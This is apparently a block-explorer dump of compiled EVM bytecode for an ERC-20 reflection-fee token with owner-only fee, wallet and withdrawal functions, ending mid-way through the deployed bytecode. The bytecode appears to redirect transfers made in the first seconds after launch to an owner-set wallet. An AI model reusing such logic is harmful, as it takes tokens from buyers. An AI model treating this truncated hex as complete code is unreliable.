6020850194506020810190506200096f565b86831015620009b65784890151620009b2601f891682620008a6565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000a595780860481111562000a315762000a30620009cb565b5b600185161562000a415780820291505b808102905062000a5185620009fa565b945062000a11565b94509492505050565b60008262000a74576001905062000b47565b8162000a84576000905062000b47565b816001811462000a9d576002811462000aa85762000ade565b600191505062000b47565b60ff84111562000abd5762000abc620009cb565b5b8360020a91508482111562000ad75762000ad6620009cb565b5b5062000b47565b5060208310610133831016604e8410600b841016171562000b185782820a90508381111562000b125762000b11620009cb565b5b62000b47565b62000b27848484600162000a07565b9250905081840481111562000b415762000b40620009cb565b5b81810290505b9392505050565b600062000b5b8262000790565b915062000b688362000790565b925062000b977fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a62565b905092915050565b600062000bac8262000790565b915062000bb98362000790565b925082820262000bc98162000790565b9150828204841483151762000be35762000be2620009cb565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000c268262000790565b915062000c338362000790565b92508262000c465762000c4562000bea565b5b828206905092915050565b600062000c5e8262000790565b915062000c6b8362000790565b925082820390508181111562000c865762000c85620009cb565b5b92915050565b62000c9781620005f3565b82525050565b600060408201905062000cb4600083018562000c8c565b62000cc3602083018462000c8c565b9392505050565b62000cd58162000790565b82525050565b600060208201905062000cf2600083018462000cca565b92915050565b60805160a05160c0516136c962000d5960003960008181610c1b01528181611aad01528181611c1101528181611c6801528181611d8f01528181611dfd01528181611e5c0152611ee101526000610846015260006109bd01526136c96000f3fe6080604052600436106101dc5760003560e01c80635342acb411610102578063a457c2d711610095578063e8a379b211610064578063e8a379b2146106f7578063ea2f0b3714610720578063f2fde38b14610749578063fc061a4f14610772576101e3565b8063a457c2d714610615578063a9059cbb14610652578063ac52e5881461068f578063dd62ed3e146106ba576101e3565b8063715018a6116100d1578063715018a61461057f5780638da5cb5b1461059657806395d89b41146105c15780639bfa882e146105ec576101e3565b80635342acb4146104b15780636620255c146104ee5780636bc87c3a1461051757806370a0823114610542576101e3565b8063313ce5671161017a5780633b124fe7116101495780633b124fe7146104075780633e2c489114610432578063437823ec1461045d57806349bd5a5e14610486576101e3565b8063313ce5671461034b578063359217d1146103765780633927b469146103a157806339509351146103ca576101e3565b806318160ddd116101b657806318160ddd1461027b57806318b6389f146102a657806323b872dd146102d15780632d8381191461030e576101e3565b806306fdde03146101e8578063095ea7b3146102135780631694505e14610250576101e3565b366101e357005b600080fd5b3480156101f457600080fd5b506101fd61079b565b60405161020a9190612adc565b60405180910390f35b34801561021f57600080fd5b5061023a60048036038101906102359190612b97565b61082d565b6040516102479190612bf2565b60405180910390f35b34801561025c57600080fd5b50610265610844565b6040516102729190612c6c565b60405180910390f35b34801561028757600080fd5b50610290610868565b60405161029d9190612c96565b60405180910390f35b3480156102b257600080fd5b506102bb610872565b6040516102c89190612c96565b60405180910390f35b3480156102dd57600080fd5b506102f860048036038101906102f39190612cb1565b610878565b6040516103059190612bf2565b60405180910390f35b34801561031a57600080fd5b5061033560048036038101906103309190612d04565b610943565b6040516103429190612c96565b60405180910390f35b34801561035757600080fd5b506103606109b1565b60405161036d9190612c96565b60405180910390f35b34801561038257600080fd5b5061038b6109bb565b6040516103989190612d40565b60405180910390f35b3480156103ad57600080fd5b506103c860048036038101906103c39190612d5b565b6109df565b005b3480156103d657600080fd5b506103f160048036038101906103ec9190612b97565b610a7f565b6040516103fe9190612bf2565b60405180910390f35b34801561041357600080fd5b5061041c610b24565b6040516104299190612c96565b60405180910390f35b34801561043e57600080fd5b50610447610b2a565b6040516104549190612c96565b60405180910390f35b34801561046957600080fd5b50610484600480360381019061047f9190612d9b565b610b30565b005b34801561049257600080fd5b5061049b610c19565b6040516104a89190612d40565b60405180910390f35b3480156104bd57600080fd5b506104d860048036038101906104d39190612d9b565b610c3d565b6040516104e59190612bf2565b60405180910390f35b3480156104fa57600080fd5b5061051560048036038101906105109190612e06565b610c93565b005b34801561052357600080fd5b5061052c610dc8565b6040516105399190612c96565b60405180910390f35b34801561054e57600080fd5b5061056960048036038101906105649190612d9b565b610dce565b6040516105769190612c96565b60405180910390f35b34801561058b57600080fd5b50610594610e1f565b005b3480156105a257600080fd5b506105ab610f6b565b6040516105b89190612d40565b60405180910390f35b3480156105cd57600080fd5b506105d6610f94565b6040516105e39190612adc565b60405180910390f35b3480156105f857600080fd5b50610613600480360381019061060e9190612e46565b611026565b005b34801561062157600080fd5b5061063c60048036038101906106379190612b97565b61113a565b6040516106499190612bf2565b60405180910390f35b34801561065e57600080fd5b5061067960048036038101906106749190612b97565b6111f9565b6040516106869190612bf2565b60405180910390f35b34801561069b57600080fd5b506106a4611210565b6040516106b19190612c96565b60405180910390f35b3480156106c657600080fd5b506106e160048036038101906106dc9190612e46565b611216565b6040516106ee9190612c96565b60405180910390f35b34801561070357600080fd5b5061071e60048036038101906107199190612d04565b61129d565b005b34801561072c57600080fd5b5061074760048036038101906107429190612d9b565b61140e565b005b34801561075557600080fd5b50610770600480360381019061076b9190612d9b565b6114f7565b005b34801561077e57600080fd5b5061079960048036038101906107949190612e86565b6116b1565b005b6060600780546107aa90612f08565b80601f01602080910402602001604051908101604052809291908181526020018280546107d690612f08565b80156108235780601f106107f857610100808354040283529160200191610823565b820191906000526020600020905b81548152906001019060200180831161080657829003601f168201915b5050505050905090565b600061083a3384846117c1565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600554905090565b600f5481565b600061088584848461198a565b61093884336109338560405180606001604052806028815260200161364760289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120209092919063ffffffff16565b6117c1565b600190509392505050565b600060065482111561098a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098190612fab565b60405180910390fd5b6000610994612084565b90506109a981846120af90919063ffffffff16565b915050919050565b6000600954905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6490613017565b60405180910390fd5b81600a81905550806010819055505050565b6000610b1a3384610b1585600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120f990919063ffffffff16565b6117c1565b6001905092915050565b600a5481565b60125481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb590613017565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1890613017565b60405180910390fd5b6000811115610d76578173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610d70573d6000803e3d6000fd5b50610dc4565b60004790508273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610dc1573d6000803e3d6000fd5b50505b5050565b60105481565b6000610e18600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610943565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ead576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea490613017565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610fa390612f08565b80601f0160208091040260200160405190810160405280929190818152602001828054610fcf90612f08565b801561101c5780601f10610ff15761010080835404028352916020019161101c565b820191906000526020600020905b815481529060010190602001808311610fff57829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ab90613017565b60405180910390fd5b81600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60006111ef33846111ea8560405180606001604052806025815260200161366f60259139600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120209092919063ffffffff16565b6117c1565b6001905092915050565b600061120633848461198a565b6001905092915050565b600e5481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461132b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132290613017565b60405180910390fd5b600081036113a157600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561139b573d6000803e3d6000fd5b5061140b565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611409573d6000803e3d6000fd5b505b50565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461149c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149390613017565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611585576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157c90613017565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036115f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115eb906130a9565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461173f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173690613017565b60405180910390fd5b60056117668261175885876120f990919063ffffffff16565b6120f990919063ffffffff16565b11156117a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179e90613115565b60405180910390fd5b82600a819055508160108190555080601281905550505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611830576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611827906131a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361189f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189690613239565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161197d9190612c96565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f0906132cb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5f9061335d565b60405180910390fd5b60008111611aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa2906133ef565b60405180910390fd5b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b0857506001600f54145b15611b1d5742600e819055506002600f819055505b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611bc15750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c0957600a611bdd600e544261215790919063ffffffff16565b11611c0857600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691505b5b6000600190507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611cb757507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611f6357600090506000611ccb30610dce565b90506000611cd7612084565b90506000611cee82846121a190919063ffffffff16565b9050611d4281600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215790919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df781600160007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120f990919063ffffffff16565b600160007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ed79190612c96565b60405180910390a37f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b158015611f4757600080fd5b505af1158015611f5b573d6000803e3d6000fd5b505050505050505b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120045750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561200e57600090505b61201a8484848461221b565b50505050565b6000838311158290612068576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205f9190612adc565b60405180910390fd5b5060008385612077919061343e565b9050809150509392505050565b6000806000612091612248565b915091506120a881836120af90919063ffffffff16565b9250505090565b60006120f183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612295565b905092915050565b60008082846121089190613472565b90508381101561214d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612144906134f2565b60405180910390fd5b8091505092915050565b600061219983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612020565b905092915050565b60008083036121b35760009050612215565b600082846121c19190613512565b90508284826121d09190613583565b14612210576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220790613626565b60405180910390fd5b809150505b92915050565b80612229576122286122f8565b5b61223484848461232d565b80612242576122416125fa565b5b50505050565b60008060006006549050600060055490506122706005546006546120af90919063ffffffff16565b82101561228857600654600554935093505050612291565b81819350935050505b9091565b600080831182906122dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d39190612adc565b60405180910390fd5b50600083856122eb9190613583565b9050809150509392505050565b600a54600b819055506010546011819055506012546013819055506000600a8190555060006010819055506000601281905550565b6000612337612084565b9050600061234e82846121a190919063ffffffff16565b90506123a281600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215790919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612418856124126012546124046103e8886120af90919063ffffffff16565b6121a190919063ffffffff16565b84612617565b61244b856124456010546124376103e8886120af90919063ffffffff16565b6121a190919063ffffffff16565b846127a0565b61247e85612478600a5461246a6103e8886120af90919063ffffffff16565b6121a190919063ffffffff16565b846128c3565b6000601254600a546010546103e8612496919061343e565b6124a0919061343e565b6124aa919061343e565b90506125246124d6826124c86103e8866120af90919063ffffffff16565b6121a190919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120f990919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6125dd846125cf6103e88a6120af90919063ffffffff16565b6121a190919063ffffffff16565b6040516125ea9190612c96565b60405180910390a3505050505050565b600b54600a81905550601154601081905550601354601281905550565b6000601254031561279b57600061263782846121a190919063ffffffff16565b90506126ad8160016000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120f990919063ffffffff16565b60016000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127919190612c96565b60405180910390a3505b505050565b600060105403156128be5760006127c082846121a190919063ffffffff16565b905061281481600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120f990919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128b49190612c96565b60405180910390a3505b505050565b6000600a540315612a475760006128e382846121a190919063ffffffff16565b90506129598160016000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120f990919063ffffffff16565b60016000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612a3d9190612c96565b60405180910390a3505b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612a86578082015181840152602081019050612a6b565b60008484015250505050565b6000601f19601f8301169050919050565b6000612aae82612a4c565b612ab88185612a57565b9350612ac8818560208601612a68565b612ad181612a92565b840191505092915050565b60006020820190508181036000830152612af68184612aa3565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612b2e82612b03565b9050919050565b612b3e81612b23565b8114612b4957600080fd5b50565b600081359050612b5b81612b35565b92915050565b6000819050919050565b612b7481612b61565b8114612b7f57600080fd5b50565b600081359050612b9181612b6b565b92915050565b60008060408385031215612bae57612bad612afe565b5b6000612bbc85828601612b4c565b9250506020612bcd85828601612b82565b9150509250929050565b60008115159050919050565b612bec81612bd7565b82525050565b6000602082019050612c076000830184612be3565b92915050565b6000819050919050565b6000612c32612c2d612c2884612b03565b612c0d565b612b03565b9050919050565b6000612c4482612c17565b9050919050565b6000612c5682612c39565b9050919050565b612c6681612c4b565b82525050565b6000602082019050612c816000830184612c5d565b92915050565b612c9081612b61565b82525050565b6000602082019050612cab6000830184612c87565b92915050565b600080600060608486031215612cca57612cc9612afe565b5b6000612cd886828701612b4c565b9350506020612ce986828701612b4c565b9250506040612cfa86828701612b82565b9150509250925092565b600060208284031215612d1a57612d19612afe565b5b6000612d2884828501612b82565b91505092915050565b612d3a81612b23565b82525050565b6000602082019050612d556000830184612d31565b92915050565b60008060408385031215612d7257612d71612afe565b5b6000612d8085828601612b82565b9250506020612d9185828601612b82565b9150509250929050565b600060208284031215612db157612db0612afe565b5b6000612dbf84828501612b4c565b91505092915050565b6000612dd382612b03565b9050919050565b612de381612dc8565b8114612dee57600080fd5b50565b600081359050612e0081612dda565b92915050565b60008060408385031215612e1d57612e1c612afe565b5b6000612e2b85828601612df1565b9250506020612e3c85828601612b82565b9150509250929050565b60008060408385031215612e5d57612e5c612afe565b5b6000612e6b85828601612b4c565b9250506020612e7c85828601612b4c565b9150509250929050565b600080600060608486031215612e9f57612e9e612afe565b5b6000612ead86828701612b82565b9350506020612ebe86828701612b82565b9250506040612ecf86828701612b82565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612f2057607f821691505b602082108103612f3357612f32612ed9565b5b50919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612f95602a83612a57565b9150612fa082612f39565b604082019050919050565b60006020820190508181036000830152612fc481612f88565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613001602083612a57565b915061300c82612fcb565b602082019050919050565b6000602082019050818103600083015261303081612ff4565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613093602683612a57565b915061309e82613037565b604082019050919050565b600060208201905081810360008301526130c281613086565b9050919050565b7f466565206c696d69746174696f6e206973203525000000000000000000000000600082015250565b60006130ff601483612a57565b915061310a826130c9565b602082019050919050565b6000602082019050818103600083015261312e816130f2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613191602483612a57565b915061319c82613135565b604082019050919050565b600060208201905081810360008301526131c081613184565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613223602283612a57565b915061322e826131c7565b604082019050919050565b6000602082019050818103600083015261325281613216565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006132b5602583612a57565b91506132c082613259565b604082019050919050565b600060208201905081810360008301526132e4816132a8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613347602383612a57565b9150613352826132eb565b604082019050919050565b600060208201905081810360008301526133768161333a565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006133d9602983612a57565b91506133e48261337d565b604082019050919050565b60006020820190508181036000830152613408816133cc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061344982612b61565b915061345483612b61565b925082820390508181111561346c5761346b61340f565b5b92915050565b600061347d82612b61565b915061348883612b61565b92508282019050808211156134a05761349f61340f565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006134dc601b83612a57565b91506134e7826134a6565b602082019050919050565b6000602082019050818103600083015261350b816134cf565b9050919050565b600061351d82612b61565b915061352883612b61565b925082820261353681612b61565b9150828204841483151761354d5761354c61340f565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061358e82612b61565b915061359983612b61565b9250826135a9576135a8613554565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613610602183612a57565b915061361b826135b4565b604082019050919050565b6000602082019050818103600083015261363f81613603565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212206bfd877bb5141aab04966e1dd40ad6a0686bccf7bbc2701440a50d24ddb4ec1164736f6c63430008110033000000000000000000000000d05454897d3c160321f73a7d80ccb2def5fa2584

Deployed Bytecode

0x6080604052600436106101dc5760003560e01c80635342acb411610102578063a457c2d711610095578063e8a379b211610064578063e8a379b2146106f7578063ea2f0b3714610720578063f2fde38b14610749578063fc061a4f14610772576101e3565b8063a457c2d714610615578063a9059cbb14610652578063ac52e5881461068f578063dd62ed3e146106ba576101e3565b8063715018a6116100d1578063715018a61461057f5780638da5cb5b1461059657806395d89b41146105c15780639bfa882e146105ec576101e3565b80635342acb4146104b15780636620255c146104ee5780636bc87c3a1461051757806370a0823114610542576101e3565b8063313ce5671161017a5780633b124fe7116101495780633b124fe7146104075780633e2c489114610432578063437823ec1461045d57806349bd5a5e14610486576101e3565b8063313ce5671461034b578063359217d1146103765780633927b469146103a157806339509351146103ca576101e3565b806318160ddd116101b657806318160ddd1461027b57806318b6389f146102a657806323b872dd146102d15780632d8381191461030e576101e3565b806306fdde03146101e8578063095ea7b3146102135780631694505e14610250576101e3565b366101e357005b600080fd5b3480156101f457600080fd5b506101fd61079b565b60405161020a9190612adc565b60405180910390f35b34801561021f57600080fd5b5061023a60048036038101906102359190612b97565b61082d565b6040516102479190612bf2565b60405180910390f35b34801561025c57600080fd5b50610265610844565b6040516102729190612c6c565b60405180910390f35b34801561028757600080fd5b50610290610868565b60405161029d9190612c96565b60405180910390f35b3480156102b257600080fd5b506102bb610872565b6040516102c89190612c96565b60405180910390f35b3480156102dd57600080fd5b506102f860048036038101906102f39190612cb1565b610878565b6040516103059190612bf2565b60405180910390f35b34801561031a57600080fd5b5061033560048036038101906103309190612d04565b610943565b6040516103429190612c96565b60405180910390f35b34801561035757600080fd5b506103606109b1565b60405161036d9190612c96565b60405180910390f35b34801561038257600080fd5b5061038b6109bb565b6040516103989190612d40565b60405180910390f35b3480156103ad57600080fd5b506103c860048036038101906103c39190612d5b565b6109df565b005b3480156103d657600080fd5b506103f160048036038101906103ec9190612b97565b610a7f565b6040516103fe9190612bf2565b60405180910390f35b34801561041357600080fd5b5061041c610b24565b6040516104299190612c96565b60405180910390f35b34801561043e57600080fd5b50610447610b2a565b6040516104549190612c96565b60405180910390f35b34801561046957600080fd5b50610484600480360381019061047f9190612d9b565b610b30565b005b34801561049257600080fd5b5061049b610c19565b6040516104a89190612d40565b60405180910390f35b3480156104bd57600080fd5b506104d860048036038101906104d39190612d9b565b610c3d565b6040516104e59190612bf2565b60405180910390f35b3480156104fa57600080fd5b5061051560048036038101906105109190612e06565b610c93565b005b34801561052357600080fd5b5061052c610dc8565b6040516105399190612c96565b60405180910390f35b34801561054e57600080fd5b5061056960048036038101906105649190612d9b565b610dce565b6040516105769190612c96565b60405180910390f35b34801561058b57600080fd5b50610594610e1f565b005b3480156105a257600080fd5b506105ab610f6b565b6040516105b89190612d40565b60405180910390f35b3480156105cd57600080fd5b506105d6610f94565b6040516105e39190612adc565b60405180910390f35b3480156105f857600080fd5b50610613600480360381019061060e9190612e46565b611026565b005b34801561062157600080fd5b5061063c60048036038101906106379190612b97565b61113a565b6040516106499190612bf2565b60405180910390f35b34801561065e5760008